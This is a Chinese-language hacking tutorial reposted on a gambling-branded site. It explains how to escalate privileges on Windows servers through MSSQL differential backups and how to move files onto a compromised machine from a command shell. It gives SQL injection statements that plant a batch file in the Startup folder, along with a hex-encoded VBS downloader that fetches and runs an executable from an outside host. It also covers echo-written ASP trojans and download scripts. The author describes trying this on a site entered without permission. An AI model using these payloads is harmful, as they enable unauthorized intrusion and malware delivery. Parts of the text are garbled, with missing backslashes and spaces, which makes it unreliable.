宝马娱乐在线112222 > 网络应用 > Do All in Cmd Shell一切在命令行下完成第1/6页宝马娱

原标题:Do All in Cmd Shell一切在命令行下完成第1/6页宝马娱

浏览次数:52 时间:2020-03-01

昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西,落后了,落后了...... 下面是是在网上找到的资料和动画. TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell几乎人人皆知,那么我们可以利用差异备份出来的文件当作恶意代码 让系统执行了之后自动提升权限或者添加管理员吗?答案当然可以了,kj021320测试了N次之后跟你说! 那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧! 大家不用想都知道通用地方C:DocumentsandSettingsAllUsers「开始」菜单程序启动 呵呵位置有了! 那么我们备份什么文件让系统能执行的呢? 这个是第一个关键点~! EXEJSVBSBAT这些文件大家第一时间想到的了 那些我一个一个来分析exe的话!绝对能了!但是MSSQL差异备份这么多垃圾肯定会把exe弄坏的! 否决掉 然后到脚本 VBS我们能不能把他的垃圾信息注释掉呢?不然VBS会执行不了!OK学过VBS的朋友都知道 VBS里面有2种注释'还有就是rem 但是还是会有垃圾信息屏蔽不了 否决掉 JS呢?JS里面有多行注释的/**/但是/*不可能在首行吧? 否决掉 最后剩下我们最熟悉的bat批处理了! OK我们继续分析bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行这里的rem注释也一样不行的! 那么我们怎么办呢?其实很简单!当我们在CMD下面敲错了命令系统会怎样呢? 说到这里要是大家不往文章下面看也一样能想到方法了吧~ OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了! 而系统只当作无用的命令来处理!不影响我们的操作! 问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作! 那么我们得把语句尽量缩少,越少越好~ OK那我们思路好了就采用bat写一个VBS的下载者然后执行这个下载者最后通过下载者down回来的马子来获取系统权限 下面是我改过的生成下载者的BAT echoSetP=createObject("Microsoft.XMLHTTP")k.vbs echoP.Open"GET","",0k.vbs echoP.Send():setG=createObject("ADODB.Stream")k.vbs echoG.Mode=3:G.Type=1:G.Open()k.vbs echoG.WriteP.ResponseBody:G.SaveToFile"t.exe",2k.vbs k.vbs t 下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地直接执行 记得记得我说过的代码前面一定要用回车把垃圾数据提交最好2以上个回车 然后实现差异备份 alterdatabaseISTOsetRECOVERYFULL-- createtablecmd(aimage)-- backuplogISTOtodisk='c:cmd1'withinit-- insertintocmd(a)values(0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D696372 6F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2 022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30 203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D63726561 74654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A65 63686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B 2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64 793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A 6B2E7662730D0A740D0A)-- backuplogISTOtodisk='C:DocumentsandSettingsAllUsers「开始」菜单程序启动1.bat'-- droptablecmd-- OKbat出来了!至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧! 要是服务器直接开启了3389那就更方便了!直接bat一个添加管理员的命令更爽! isto是动画里用到的工具. isto辅助转换工具.rarmssql差异备份取系统权限.rar

文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^ >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

举例——下载ps.exe并保存到c:path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:pathps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!

echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

本文由宝马娱乐在线112222发布于网络应用,转载请注明出处:Do All in Cmd Shell一切在命令行下完成第1/6页宝马娱

关键词:

上一篇:比较详细的完美解决安装sql2000时出现以前的某个

下一篇:没有了